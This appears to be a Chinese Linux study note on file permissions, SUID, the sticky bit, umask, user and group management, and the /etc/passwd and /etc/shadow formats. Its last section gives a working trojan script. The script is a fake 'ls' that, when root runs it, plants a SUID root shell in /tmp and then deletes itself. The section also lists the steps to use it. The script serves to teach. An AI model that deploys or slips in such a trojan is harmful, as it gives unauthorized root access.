Linux学习笔记(五)-安全管理以及开发基础技术

来源:互联网 发布:经纬之创网络 编辑:程序博客网 时间:2024/06/04 23:32

安全管理以及开发基础技术

一. 文件安全设置
1. 文件的读写、执行许可设置
这里写图片描述

例如:在某以目录下输入命令ll,则
这里写图片描述

1.1. 几种基本的命令所需要的权限
这里写图片描述

1.2. 什么是SUID
- suid的概念:能够让在二进制文件上有执行权限的用户,在运行这个二进制文件时,暂时具有属主的权限
- suid在文件权限上表现为:属主的执行权限位由x变成了s
- 例如,passwd命令用于修改自己的口令,是每个用户都可以运行的。但是其需要修改/etc/passwd,而后者只有root才有权限修改;因此, passwd命令需要设置suid,这样在其运行过程中会临时切换为root,当该命令执行完毕后,在切换为自己的用户身份

//实验#which passwd/usr/bin/passwd#ls –l /bin/passwd /etc/passwd-r-s  - - x - - x 1 root root 19366 sep  7 2004 /usr/bin/passwd-rw- r- - r - -   1 root root 1653  eb 21 08:02 /etc/passwd

1.3. 什么是Sticky bit
- 要删除一个文件,你不一定要有这个文件的写权限,但你一定要有这个文件的上级目录的写权限。也就是说,你即使没有一个文件的写权限,但你有这个文件的上级目录的写权限,你也可以把这个文件给删除,而如果没有一个目录的写权限,也就不能在这个目录下创建文件
- 如何才能使一个目录既可以让任何用户写入文件,又不让用户删除这个目录下他人的文件,sticky就是能起到这个作用。stciky一般只用在目录上,用在文件上起不到什么作用
- 在一个目录上设了sticky位后,(如/home,权限为777)所有的用户都可以在这个目录下创建文件,但只能删除自己创建的文件(root除外),这就对所有用户能写的目录下的用户文件启到了保护的作用
- 举例来说,/tmp本身的权限是“drwxrwxrwt”,在这样的权限内容下,任何人都可以在 /tmp内新增、修改文件,但仅有该文件/目录的建立者与root能够删除自己的目录或文件

例子:设置和删除Stick bit

 #mkdir tmp #ls -ld tmp drwxr-xr-x  2 root root 4096 Apr 30 23:44 tmp #chmod +t tmp #ls –ld tmp drwxr-xr-t  2 root root 4096 Apr 30 23:44 tmp #chmod –t tmp  #ls –ld tmp drwxr-xr-x  2 root root 4096 Apr 30 23:44 tmp

注意:stciky一般只用在目录上,用在文件上起不到什么作用

1.4. 关于chmod命令
这里写图片描述
1.5. 关于unmask
当我们创建一个文件或者文件夹时,他们会有怎样的权限呢?事实上,新建文件夹或文件的权限是由所谓基本码减去称之为umask的屏蔽位得到的
- 按照规定:文件夹的基本码是rwxrwxrwx(777),文件的基本码是rw-rw-rw-(666).
- 而屏蔽位则是在/etc/profile(所有人)或者~/.bash_profile中设定的。如果上述文件中皆无设定则默认就是022
- 我们可以在shell下面输入umask命令查看/修改当前的系统屏蔽位

#umask 0022#umask0022

因此新建文件夹是777-022=755(rwxr-xr-x),新建文件是666-022= 644(rw-r–r–)

[root@localhost tmp]# mkdir hah[root@localhost tmp]# touch hah.txt[root@localhost tmp]# lltotal 12drwxr-xr-x  2 root root 4096 May  1 00:02 hah-rw-r--r--  1 root root    0 May  1 00:02 hah.txt

二. 用户管理、组管理
1. 用户的角色区分
- 用户在系统中是分角色的,在Linux 系统中,由于角色不同,权限和所完成的任务也不同
- 值得注意的是用户的角色是通过UID识别的;在系统管理中,系统管理员一定要坚守UID 唯一的特性
- root 用户:系统唯一,是真实的,可以登录系统,可以操作系统任何文件和命令,拥有最高权限
2. 虚拟用户与普通的真实用户
虚拟用户:这类用户也被称之为伪用户或假用户,与真实用户区分开来,这类用户不具有登录系统的能力,但却是系统运行不可缺少的用户
- 比如bin、daemon、adm、ftp、mail等
- 这类用户都系统自身拥有的,而非后来添加的,当然我们也可以添加虚拟用户
普通的真实用户
- 这类用户能登录系统,但只能操作自己家目录的内容
- 权限有限
- 这类用户都是系统管理员自行添加的
3. 用户和用户组的对应关系是:一对一、多对一、一对多或多对多
- 一对一:某个用户可以是某个组的唯一成员
- 多对一:多个用户可以是某个唯一的组的成员,不归属其它用户组;比如user001和linuxsir两个用户只归属于user001用户组
- 一对多:某个用户可以是多个用户组的成员;比如user001可以是root组成员,也可以是linuxsir用户组成员,还可以是adm用户组成员
- 多对多:多个用户对应多个用户组,并且几个用户可以归属相同的组;其实多对多的关系是前面三条的扩展
4. 用户和组的配置文件
4.1. 与用户(user)相关的配置文件

/etc/passwd :用户(user)的配置文件;/etc/shadow :用户(user)影子口令文件

4.2. 与用户组(group)相关的配置文件

/etc/group :用户组(group)配置文件;/etc/gshadow :用户组(group)的影子文件

4.3. 管理用户(user)的工具或命令

//useradd(或adduser) :添加用户,例如#useradd user001//Passwd :为用户设置密码,例如#passwd user001//usermod :修改用户命令,可以通过usermod 来修改登录名、用户的家目录等等

4.4 useradd 不加参数选项时,后面直接跟所添加的用户名时

  1. 系统时读取添加用户配置文件/etc/login.defs和/etc/default/useradd文件,
  2. 然后读取/etc/login.defs和/etc/default/useradd中所定义的规则添加用户;
  3. 并向/etc/passwd和/etc/groups文件添加用户和用户组记录;
  4. 当然/etc/passwd和/etc/groups的加密资讯文件也同步生成记录;
  5. 并复制/etc/skel中的文件(包括隐藏文件)到新用户的家目录中;

4.5 两个实例
实例一:不加任何参数,直接添加用户:

    # useradd user001    # ls –ld /home/user001/    drwxr-xr-x 3 user001 user001 4096 112 15:20 /home/user001/    //在这个例子中,我们添加了user001用户,我们在查看/home/目录时,会发现系统自建了一个user001的目录;   //我们再来查看 /etc/passwd 文件有关user001的记录,也会有新发现;我们通过more 来读取 /etc/passwd 文件,并且通过grep 来抽取 user001字段,得出如下一行;   # more /etc/passwd | grep user001   user001:x:509:509::/home/user001linux:/bin/bash

实例二:
想把添加用户时的默认SHELL /bin/bash 改为 /bin/tcsh ,则应该用下面的命令

    # useradd -D -s /bin/tcsh //注:把添加用户时的SHELL 改为tcsh ;    # more /etc/default/useradd //注:查看是否成功;    # useradd defaults file    GROUP=100    HOME=/home    INACTIVE=-1    EXPIRE=    SHELL=/bin/tcsh //注:成功;    SKEL=/etc/skelCREATE_MAIL_SPOOL=no

4.6. passwd 设置或修改用户密码
- passwd 作为普通用户和超级权限用户都可以运行,但作为普通用户只能更改自己的用户密码,但前提是没有被root用户锁定;如果root用户运行passwd ,可以设置或修改任何用户的密码
- passwd 命令后面不接任何参数或用户名,则表示修改当前用户的密码

//比如让某个用户不能修改密码,可以用-l 参数来锁定# passwd -l user001     //锁定用户user001不能更改密码Locking password for user user001.passwd: Success //锁定成功# su user001 //注:通过su切换到user001用户$ passwd //注:user001来更改密码Changing password for user user001current) UNIX password:    //注:输入user001的当前密码passwd: Authentication token manipulation error //注:失败,不能更改密码;# passwd -d user001 //注:清除user001用户密码Removing password for user user001passwd: Success //注:清除成功# passwd -S user001 //注:查询user001用户密码状态Empty password. //注:空密码,也就是没有密码//注意:当我们清除一个用户的密码时,登录时就无需密码;这一点要加以注意

4.7. 删除用户和用户组的工具

userdel 的语法格式:userdel [-r] 名称userdel很简单,只有一个参数可选 -r ;如果加参数-r ,表示在删除用户的同时,一并把用户的家目录及本地邮件存储的目录或文件也一同删除

4.8. /etc/skel 目录
- /etc/skel目录一般是存放用户启动文件的目录,这个目录是由root权限控制
- 当我们添加用户时,这个目录下的文件自动复制到新添加的用户的家目录下
- /etc/skel 目录下的文件都是隐藏文件,也就是类似.file格式的
- 我们可通过修改、添加、删除/etc/skel目录下的文件,来为用户提供一个统一、标准的、默认的用户环境
这里写图片描述

4.9. /etc/passwd
- /etc/passwd 是系统识别用户的一个文件
- 做个不恰当的比喻,/etc/passwd 是一个花名册,系统所有的用户都在这里有登录记载
- 当我们以user001 这个账号登录时

  a. 系统首先会查阅 /etc/passwd 文件,看是否有user001 这个账号  b. 然后确定user001的UID,通过UID 来确认用户和身份  c. 如果存在则读取/etc/shadow 影子文件中所对应的user001的密码  d. 如果密码核实无误则登录系统,读取用户的配置文件
  • 在/etc/passwd 中,每一行都表示的是一个用户的信息;一行有7个段位;每个段位用:号分割。例如:
user001:x:500:500:user001 sun:/home/user001:/bin/bashlinuxsir:x:505:502:linuxsir open,linuxsir office,13898667715:/home/linuxsir:/bin/bashuser001:x:500:500:user001 sun:/home/user001:/bin/bashlinuxsir:x:501:502::/home/linuxsir:/bin/bash
第一字段:用户名(也被称为登录名);在上面的例子中,我们看到这两个用户的用户名分别是 user001 和linuxsir;第二字段:口令;在例子中我们看到的是一个x,其实密码已被映射到/etc/shadow 文件中;第三字段:UID ;第四字段:GID;第五字段:用户名全称,这是可选的,可以不设置,在user001这个用户中,用户的全称是user001 sun ;而linuxsir 这个用户是没有设置全称;第六字段:用户的家目录所在位置;user001 这个用户是/home/user001 ,而linuxsir 这个用户是/home/linuxsir ;第七字段:用户所用SHELL 的类型,user001和linuxsir 都用的是 bash ;所以设置为/bin/bash 

4.10. 关于UID
- UID 是用户的ID 值,在系统中每个用户的UID的值是唯一的,更确切的说每个用户都要对应一个唯一的UID ,系统管理员应该确保这一规则
- 系统用户的UID的值从0开始,是一个正整数,至于最大值可以在/etc/login.defs 可以查到,一般Linux发行版约定为60000; 在Linux 中,root的UID是0,拥有系统最高权限
- UID 在系统唯一特性,做为系统管理员应该确保这一标准,UID 的唯一性关系到系统的安全,应该值得我们关注
- 比如在/etc/passwd 中把user001的UID 改为0后,设想会发生什么呢?user001这个用户会被确认为root用户。user001这个帐号可以进行所有root的操作
- UID 是确认用户权限的标识,用户登录系统所处的角色是通过UID 来实现的,而非用户名
- 把几个用户共用一个UID 是危险的,比如我们上面所谈到的,把普通用户的UID 改为0,和root共用一个UID ,这事实上就造成了系统管理权限的混乱
- 如果我们想用root权限,可以通过su或sudo来实现;切不可随意让一个用户和root分享同一个UID
- UID是唯一性,只是要求管理员所做的,其实我们修改/etc/passwd 文件,可以修改任何用户的UID的值为0

4.11. /etc/shadow
- /etc/shadow文件是/etc/passwd 的影子文件
- 这两个文件是应该是对应互补的;shadow内容包括用户及被加密的密码以及其它/etc/passwd 不能包括的信息,比如用户的有效期限等
- 这个文件只有root权限可以读取和操作,权限如下:

-r-------- 1 root root 1.5K 10月 16 09:49 /etc/shadow
  • /etc/shadow 的权限不能随便改为其它用户可读,这样做是危险的。如果您发现这个文件的权限变成了其它用户组或用户可读了,要进行检查,以防系统安全问题的发生
  • 如果我们以普通用户查看这个文件时,应该什么也查看不到,提示是权限不够
user001@localhost ~]$ more /etc/shadow/etc/shadow: 权限不够
  • /etc/shadow 文件的内容包括9个段位,每个段位之间用:号分割
//例子       user001:$1$VE.Mq2Xf$2c9Qi7EQ9JP8GKF8gH7PB1:13072:0:99999:7:::       linuxsir:$1$IPDvUhXP$8R6J/VtPXvLyXxhLWPrnt/:13072:0:99999:7::13108:第一字段:用户名(也被称为登录名),在/etc/shadow中,用户名和/etc/passwd 是相同的,这样就把passwd 和shadow中用的用户记录联系在一起;这个字段是非空的;第二字段:密码(已被加密),如果是有些用户在这段是x,表示这个用户不能登录到系统;这个字段是非空的;第三字段:上次修改口令的时间;这个时间是从19700101日算起到最近一次修改口令的时间间隔(天数),您可以通过passwd 来修改用户的密码,然后查看/etc/shadow中此字段的变化;第四字段:两次修改口令间隔最少的天数;如果设置为0,则禁用此功能;也就是说用户必须经过多少天才能修改其口令;此项功能用处不是太大;默认值是通过/etc/login.defs文件定义中获取,PASS_MIN_DAYS 中有定义;第五字段:两次修改口令间隔最多的天数;这个能增强管理员管理用户口令的时效性,应该说在增强了系统的安全性;如果是系统默认值,是在添加用户时由/etc/login.defs文件定义中获取,在PASS_MAX_DAYS 中定义第六字段:提前多少天警告用户口令将过期;当用户登录系统后,系统登录程序提醒用户口令将要作废;如果是系统默认值,是在添加用户时由/etc/login.defs文件定义中获取,在PASS_WARN_AGE 中定义;第七字段:在口令过期之后多少天禁用此用户;此字段表示用户口令作废多少天后,系统会禁用此用户,也就是说系统会不能再让此用户登录,也不会提示用户过期,是完全禁用;第八字段:用户过期日期;此字段指定了用户作废的天数(从1970年的11日开始的天数),如果这个字段的值为空,帐号永久可用;第九字段:保留字段,目前为空,以备将来Linux发展之用

五. 一个木马的例子

$ cd /home/hacker$ vi ls//编辑文件  #!/usr/bin/ksh  cp /usr/bin/ksh /tmp/.hacker  chown root /tmp/.hacker  chmod u+s /tmp/.hacker  rm -f $0  /usr/bin/ls $*$ chmod a+x ls//需要管理员在另一个窗口执行# cd /home/hacker# ls-i//hacker用户就可以在自己的窗口执行$ cd /tmp$ .hacker#   //获得管理员权限
1 0
原创粉丝点击